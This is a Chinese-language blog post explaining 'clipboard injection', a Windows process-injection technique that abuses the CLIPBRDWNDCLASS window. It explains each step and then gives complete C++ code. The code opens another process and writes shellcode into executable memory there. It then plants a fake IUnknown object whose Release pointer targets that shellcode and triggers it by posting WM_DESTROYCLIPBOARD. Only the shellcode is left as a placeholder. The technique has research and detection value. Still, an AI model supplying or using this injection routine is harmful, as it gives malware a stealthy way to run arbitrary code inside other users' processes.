Clipboard注入

@lzeroyuee  July 25, 2020

0x00 原理

设置拥有CLIPBRDWNDCLASS类窗口的ClipboardDataObjectInterface窗口属性,让其为IUnknown接口的地址,并且此IUnknown接口对象的lpVtbl成员指向IUnknown.QueryInterface,然后通过向其窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown.Release方法

0x01 寻找CLIPBRDWNDCLASS窗口

因为CLIPBRDWNDCLASS窗口是一个message only window窗口,它是不可见且没有z-order的窗口,不能通过EnumWindows枚举出该窗口,只能通过FindWindowEx且第一个参数传入HWND_MESSAGE参数来获得

// 查找CLIPBRDWNDCLASS窗口类的窗口
HWND hWnd = ::FindWindowEx(HWND_MESSAGE, NULL, TEXT("CLIPBRDWNDCLASS"), NULL);

0x02 向目标进程写入shellcode

使用VirtualAllocExWriteProcessMemory即可,shellcode的准备不在此处说明

0x03 向目标进程写入IUnknown对象

此处需要先声明伪造的IUnknown对象

// IUnkonw_t伪接口
typedef struct _IUnknown_t {
    ULONG_PTR lpVtbl;               // 虚表指针
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
}IUnknown_t;

向目标进程中申请空间,大小为IUnknown对象的大小

void *interface_addr = ::VirtualAllocEx(hProcess, NULL, sizeof(IUnknown_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

初始化IUnknown并写入到目标进程中

IUnknown_t i_unknown = { 0 };
i_unknown.lpVtbl = (ULONG_PTR)interface_addr + sizeof(ULONG_PTR);   // 虚表指针指向QueryInterface
i_unknown.Release = (ULONG_PTR)payload_addr;    // Release方法设置为shellcode的地址

// 写入目标进程中
WriteProcessMemory(hProcess, interface_addr, &i_unknown, sizeof(IUnknown_t), &write_bytes);

0x04 设置ClipboardDataObjectInterface属性并触发shellcode执行

使用SetProp来设置ClipboardDataObjectInterface属性,值为写入的IUnknown对象

SetProp(hWnd, WNDATTR, interface_addr)

最后发送WM_DESTROYCLIPBOARD消息来触发IUnknown.Release方法的执行

PostMessage(hWnd, WM_DESTROYCLIPBOARD, 0, 0);

0x05 完整代码

#include <iostream>
#include <string>
#include <Windows.h>


// 窗口类名与属性
#define WNDCLASS TEXT("CLIPBRDWNDCLASS")
#define WNDATTR TEXT("ClipboardDataObjectInterface")

// 自定义IUnkonw_t伪接口
typedef struct _IUnknown_t {
    ULONG_PTR lpVtbl;               // 虚表指针
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
}IUnknown_t;


bool clipboard_injection(unsigned char *payload, size_t payload_size)
{
    // 查找CLIPBRDWNDCLASS窗口类的窗口
    HWND hWnd = ::FindWindowEx(HWND_MESSAGE, NULL, WNDCLASS, NULL);
    if(!hWnd) {
        return false;
    }

    // 获取目标窗口pid。并打开进程
    DWORD pid = 0;
    ::GetWindowThreadProcessId(hWnd, &pid);
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(!hProcess) {
        return false;
    }

    // 向目标进程空间中申请空间,并写入payload
    void *payload_addr = ::VirtualAllocEx(hProcess, NULL, payload_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    SIZE_T write_bytes = 0;
    if(!::WriteProcessMemory(hProcess, payload_addr, payload, payload_size, &write_bytes)) {
        ::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
        ::CloseHandle(hProcess);
        return false;
    }

    // 再次向目标进程中申请空间,初始化IUnkonw_t对象,并写入
    void *interface_addr = ::VirtualAllocEx(hProcess, NULL, sizeof(IUnknown_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    IUnknown_t i_unknown = { 0 };
    i_unknown.lpVtbl = (ULONG_PTR)interface_addr + sizeof(ULONG_PTR);
    i_unknown.Release = (ULONG_PTR)payload_addr;

    if (!::WriteProcessMemory(hProcess, interface_addr, &i_unknown, sizeof(IUnknown_t), &write_bytes)) {
        ::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
        ::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
        ::CloseHandle(hProcess);
        return false;
    }

    // 设置ClipboardDataObjectInterface属性并触发
    if(!SetProp(hWnd, WNDATTR, interface_addr)) {
        ::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
        ::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
        ::CloseHandle(hProcess);
        return false;
    }
    PostMessage(hWnd, WM_DESTROYCLIPBOARD, 0, 0);

    // 释放目标进程中申请的空间,在目标未执行完或执行之前就释放会有风险
    /*::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
    ::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);*/

    ::CloseHandle(hProcess);
    return true;
}


int main(void)
{
    // shellcode自行准备
    static unsigned char payload[] = {
        // ...
    }

    if(clipboard_injection(payload, sizeof(payload))) {
        std::cout << "Inject Success." << std::endl;
    }
    
    system("pause");
    return 0;
}

参考文章

Windows Process Injection: CLIPBRDWNDCLASS


添加新评论